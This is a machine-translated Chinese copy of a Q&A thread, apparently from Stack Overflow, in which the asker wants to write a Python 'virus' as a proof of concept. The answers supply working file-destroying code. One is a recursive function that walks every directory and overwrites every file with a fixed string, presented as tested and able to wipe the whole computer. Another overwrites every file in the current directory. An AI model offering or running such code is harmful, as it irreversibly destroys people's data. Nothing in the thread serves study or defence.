2013-05-05 32 views
0

我需要幫助試圖列出python目錄,我想編碼一個python病毒,只是概念證明,沒有什麼特別的。上市目錄在Python多行

#!/usr/bin/python 
import os, sys 
VIRUS='' 
data=str(os.listdir('.')) 
data=data.translate(None, "[],\n'") 
print data 
f = open(data, "w") 
f.write(VIRUS) 
f.close() 

編輯:我需要的是多行的,所以當我列出directorys我可以感染被列出,則第二等的第一個文件。

我不想使用ls命令,因爲我希望它是多平臺的。

+0

什麼是你想在這裏做什麼? – 2013-05-05 03:42:47

+0

是什麼問題? 'os.listdir(directory)'將返回目錄 – 2013-05-05 03:43:35

+0

中所有內容的列表,以便您的病毒可能進入計算機中的每個文件。您可能需要編寫更多的遞歸代碼,以便在您將病毒寫入單個文件時不會停在目錄中 – 2013-05-05 04:02:03

回答

0

所以寫這樣的病毒時,你會希望它是遞歸的。通過這種方式,它將能夠進入它找到的每個目錄內,並將這些文件寫入這些文件,從而徹底銷燬計算機上的每個文件。現在

def virus(directory=os.getcwd()): 
    VIRUS = "THIS FILE IS NOW INFECTED" 
    if directory[-1] == "/": #making sure directory can be concencated with file 
     pass 
    else: 
     directory = directory + "/" #making sure directory can be concencated with file 
    files = os.listdir(directory) 
    for i in files: 
     location = directory + i 
     if os.path.isfile(location): 
      with open(location,'w') as f: 
       f.write(VIRUS) 
     elif os.path.isdir(location): 
      virus(directory=location) #running function again if in a directory to go inside those files 

這一條線將改寫所有文件作爲郵件中的變量VIRUS

病毒()

額外的解釋:

我默認爲理由:directory=os.getcwd()是因爲您最初使用的是".",它在listdir方法中將成爲當前工作目錄文件。我需要文件目錄的名稱以便拉動嵌套目錄

這確實有用!

我跑在我的計算機,並在每一個嵌套的目錄中的所有文件放在一個測試目錄有它的內容替換爲:"THIS FILE IS NOW INFECTED"

1

如果您只是試圖再次解析它,請不要致電stros.listdir的結果。相反,直接使用結果:

for item in os.listdir('.'): 
    print item # or do something else with item 
+0

謝謝!只是我在找什麼,太棒了! – D4zk1tty 2013-05-05 03:49:38

0

事情是這樣的:

import os 
VIRUS = "some text" 
data = os.listdir(".") #returns a list of files and directories 

for x in data:  #iterate over the list 

    if os.path.isfile(x): #if current item is a file then perform write operation 

     #use `with` statement for handling files, it automatically closes the file 
     with open(x,'w') as f: 
      f.write(VIRUS)